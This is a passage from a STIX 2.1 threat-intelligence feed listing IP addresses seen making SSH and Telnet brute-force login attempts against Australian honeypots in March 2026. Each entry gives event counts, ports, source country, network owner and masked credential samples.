      "created": "2026-03-05T21:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 131366. Organisation(s): Lanit Technology and Communication Joint Stock Company. Usernames observed (masked): r**t, 3**********4, a***l, h***a, i******n. Passwords observed (masked): 1**4, ***, 3***********4, 3**********4, 9******0.",
      "id": "indicator--13b43596-060b-4dbc-965d-7735ea16c2b6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T21:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.176.20.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T21:15:13.000Z",
      "valid_until": "2026-04-06T21:15:12.000Z"
    },
    {
      "created": "2026-03-05T21:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 38264. Organisation(s): National WiMAXIMS environment.",
      "id": "indicator--2c526bac-56d1-4295-b343-c99b28970e5b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T21:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '110.38.213.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T21:15:13.000Z",
      "valid_until": "2026-04-06T21:15:12.000Z"
    },
    {
      "created": "2026-03-05T21:15:13.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22, 23. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--aab783ee-ba73-4566-9e3e-7a4a197f3536",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T21:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '13.58.114.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T21:15:13.000Z",
      "valid_until": "2026-04-06T21:15:12.000Z"
    },
    {
      "created": "2026-03-05T21:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 120. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, 1****6, 1*******9, P******d, a***n.",
      "id": "indicator--f8b0719b-f768-4b31-a404-833559b8441e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T21:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.209.178.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T21:15:13.000Z",
      "valid_until": "2026-04-06T21:15:12.000Z"
    },
    {
      "created": "2026-03-05T21:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): u*****o. Passwords observed (masked): u*********!.",
      "id": "indicator--20836fc3-47cb-4592-bbf8-14f8813127cd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T21:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.103.114.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T21:15:13.000Z",
      "valid_until": "2026-04-06T21:15:12.000Z"
    },
    {
      "created": "2026-03-05T21:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd..",
      "id": "indicator--0fad99e2-de8b-40c2-87e3-1c2601d23376",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T21:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '180.76.172.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T21:15:13.000Z",
      "valid_until": "2026-04-06T21:15:12.000Z"
    },
    {
      "created": "2026-03-05T21:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 50219. Organisation(s): Valence Technology Co.. Usernames observed (masked): A*******************p, G************1, U*************************************************************************************************************************6. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--825f334a-48d5-4ce9-9f15-51fbd5e7e321",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T21:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '194.164.107.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T21:15:13.000Z",
      "valid_until": "2026-04-06T21:15:12.000Z"
    },
    {
      "created": "2026-03-05T21:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: IN. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--c81b32e1-43ce-4f2e-b4d1-5b3ebea9b160",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T21:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.219.107.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T21:15:13.000Z",
      "valid_until": "2026-04-06T21:15:12.000Z"
    },
    {
      "created": "2026-03-05T21:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 113. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NG. ASN(s): 36923. Organisation(s): SWIFTNG-ASN. Usernames observed (masked): ***, 3**********4, g***a, m***n, p******e. Passwords observed (masked): ***, 3***********4, 3**********4, M******3, a******6.",
      "id": "indicator--0a5ed2f0-4eca-4f11-a6df-e576020e38ee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T21:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.58.186.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T21:15:13.000Z",
      "valid_until": "2026-04-06T21:15:12.000Z"
    },
    {
      "created": "2026-03-05T21:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 190. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 701. Organisation(s): Verizon Business. Usernames observed (masked): 3**********4, e*****t, ***, p******e, p******l. Passwords observed (masked): ***, 3***********4, 3**********4, 1****6, a******6.",
      "id": "indicator--75fce902-1d7f-4dd2-82f5-220abc6582ee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T21:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '63.116.23.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T21:15:13.000Z",
      "valid_until": "2026-04-06T21:15:12.000Z"
    },
    {
      "created": "2026-03-05T22:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 102. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): ***, 3**********4, m***n, r**t, ***. Passwords observed (masked): ***, 3***********4, 3**********4, M******3, a******6.",
      "id": "indicator--e21c1104-77a3-4b17-9544-798d5279d72e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T22:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.140.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T22:15:13.000Z",
      "valid_until": "2026-04-06T22:15:11.000Z"
    },
    {
      "created": "2026-03-05T22:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd..",
      "id": "indicator--7dc3515e-d8c5-454f-a1dd-b60e4640696c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T22:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '106.12.86.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T22:15:13.000Z",
      "valid_until": "2026-04-06T22:15:11.000Z"
    },
    {
      "created": "2026-03-05T22:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd.. Usernames observed (masked): s*******r. Passwords observed (masked): S***********!.",
      "id": "indicator--d63dce10-1d2d-416a-b46d-606a8a938a2e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T22:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '106.13.39.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T22:15:13.000Z",
      "valid_until": "2026-04-06T22:15:11.000Z"
    },
    {
      "created": "2026-03-05T22:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 56048. Organisation(s): China Mobile Communicaitons Corporation. Usernames observed (masked): r**t. Passwords observed (masked): H********4.",
      "id": "indicator--5c4f5cc7-15e9-40e4-8820-600c626a9552",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T22:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '117.128.86.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T22:15:13.000Z",
      "valid_until": "2026-04-06T22:15:11.000Z"
    },
    {
      "created": "2026-03-05T22:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 215540. Organisation(s): Global Connectivity Solutions Llp. Usernames observed (masked): o**r, 3**********4, a***********r, b******s, j****1. Passwords observed (masked): 1**4, 1***5, 3***********4, 3**********4, P******d.",
      "id": "indicator--3480414b-a84c-42d2-be96-be94a7706de3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T22:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '193.233.199.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T22:15:13.000Z",
      "valid_until": "2026-04-06T22:15:11.000Z"
    },
    {
      "created": "2026-03-05T22:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--b244d925-f849-4a51-bca0-5d4535183f26",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T22:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '35.202.9.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T22:15:13.000Z",
      "valid_until": "2026-04-06T22:15:11.000Z"
    },
    {
      "created": "2026-03-05T22:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--7525bcf1-4314-4c0f-ac68-da2286508080",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T22:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.132.153.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T22:15:13.000Z",
      "valid_until": "2026-04-06T22:15:11.000Z"
    },
    {
      "created": "2026-03-05T23:15:27.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 38. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--0386955f-2d9c-42b8-a4af-5ed07f747109",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T23:15:27.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '115.58.81.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T23:15:27.000Z",
      "valid_until": "2026-04-06T23:15:11.000Z"
    },
    {
      "created": "2026-03-05T23:15:27.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 136907. Organisation(s): HUAWEI CLOUDS. Usernames observed (masked): k***n, 3**********4, a***n, c***r, ***. Passwords observed (masked): 1***5, 1****6, 1******8, 3***********4, 3**********4.",
      "id": "indicator--cdc20ded-d59d-4523-b04c-09ff4621350f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T23:15:27.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '119.8.183.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T23:15:27.000Z",
      "valid_until": "2026-04-06T23:15:11.000Z"
    },
    {
      "created": "2026-03-05T23:15:27.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 46606. Organisation(s): Unified Layer. Usernames observed (masked): r**t. Passwords observed (masked): k************n.",
      "id": "indicator--9c73c5a3-ccaf-4367-8d60-f6ece46d8aee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T23:15:27.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '162.214.99.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T23:15:27.000Z",
      "valid_until": "2026-04-06T23:15:11.000Z"
    },
    {
      "created": "2026-03-05T23:15:27.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 46. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, 1****6, 1*******9, a***n, p******d.",
      "id": "indicator--f83cac16-ae22-40d3-9a0c-bf122e7f7bfa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T23:15:27.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.22.252.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T23:15:27.000Z",
      "valid_until": "2026-04-06T23:15:11.000Z"
    },
    {
      "created": "2026-03-05T23:15:27.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4167. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, d****y, u****u, u**r, f*****r. Passwords observed (masked): 1****6, ***, p******d, P******d, 1******8.",
      "id": "indicator--e11c064c-1bc5-4a27-9c5f-f11eacb87510",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T23:15:27.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.227.239.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T23:15:27.000Z",
      "valid_until": "2026-04-06T23:15:11.000Z"
    },
    {
      "created": "2026-03-05T23:15:27.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--e438ee9b-e6cf-4075-89f9-f19034858dc8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T23:15:27.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T23:15:27.000Z",
      "valid_until": "2026-04-06T23:15:11.000Z"
    },
    {
      "created": "2026-03-05T23:15:27.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--8610047e-fb6d-4b81-9a69-c000ad285f1c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T23:15:27.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T23:15:27.000Z",
      "valid_until": "2026-04-06T23:15:11.000Z"
    },
    {
      "created": "2026-03-06T00:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 139879. Organisation(s): Galaxy Broadband.",
      "id": "indicator--8c70cdd7-3199-47a0-aa9c-ad1d4107aa22",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T00:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.74.20.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T00:15:07.000Z",
      "valid_until": "2026-04-07T00:15:05.000Z"
    },
    {
      "created": "2026-03-06T00:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 39. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--51056d9c-70e5-4d3f-a3e1-a794ba7b1864",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T00:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '139.135.45.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T00:15:07.000Z",
      "valid_until": "2026-04-07T00:15:05.000Z"
    },
    {
      "created": "2026-03-06T00:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--61d0d381-5cc5-4d8c-a4c5-be32e23011d0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T00:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '162.142.125.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T00:15:07.000Z",
      "valid_until": "2026-04-07T00:15:05.000Z"
    },
    {
      "created": "2026-03-06T00:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 120. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): *, **, ***, 1**4, 1***5.",
      "id": "indicator--6597a5df-41db-4c0a-af04-4e9bd7d1fdb6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T00:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.64.137.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T00:15:07.000Z",
      "valid_until": "2026-04-07T00:15:05.000Z"
    },
    {
      "created": "2026-03-06T00:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 465. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): s****d@e2b145e3dad1.com. Passwords observed (masked): e**********1.",
      "id": "indicator--ba29a7b7-6850-4a81-b600-1db231b79b9b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T00:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T00:15:07.000Z",
      "valid_until": "2026-04-07T00:15:05.000Z"
    },
    {
      "created": "2026-03-06T00:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--60939dbd-d587-4e3d-83ef-b235039c2c90",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T00:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.46.246.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T00:15:07.000Z",
      "valid_until": "2026-04-07T00:15:05.000Z"
    },
    {
      "created": "2026-03-06T00:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--4f347d1f-1b2c-48b3-b036-87f4d598a77a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T00:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '206.168.34.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T00:15:07.000Z",
      "valid_until": "2026-04-07T00:15:05.000Z"
    },
    {
      "created": "2026-03-06T00:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 201. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IE. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, 3**********4, ***, c****i, ***. Passwords observed (masked): 3***********4, 3**********4, 1****6, C*******3, D******6.",
      "id": "indicator--37e2fcd3-ca2f-4191-b704-0ed2fcc2fc44",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T00:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '52.169.217.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T00:15:07.000Z",
      "valid_until": "2026-04-07T00:15:05.000Z"
    },
    {
      "created": "2026-03-06T01:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 107. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 140481. Organisation(s): PT Tonggak Teknologi Netikom. Usernames observed (masked): k**e, 3**********4, a******k, c****e, ***. Passwords observed (masked): 1***5, 1****6, 3***********4, 3**********4, A******1.",
      "id": "indicator--4e99f932-3de0-4c40-81c2-21413c19bc21",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T01:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.154.77.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T01:15:15.000Z",
      "valid_until": "2026-04-07T01:15:11.000Z"
    },
    {
      "created": "2026-03-06T01:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 89. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 24544. Organisation(s): Overcasts Limited. Usernames observed (masked): **, **, f*******1, ***. Passwords observed (masked): 3***********4, d***3, f***********s, l*****s, p******d.",
      "id": "indicator--9872ba20-8dcb-46e6-86cd-c37a7523b7d5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T01:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.215.80.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T01:15:15.000Z",
      "valid_until": "2026-04-07T01:15:11.000Z"
    },
    {
      "created": "2026-03-06T01:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4538. Organisation(s): China Education and Research Network Center.",
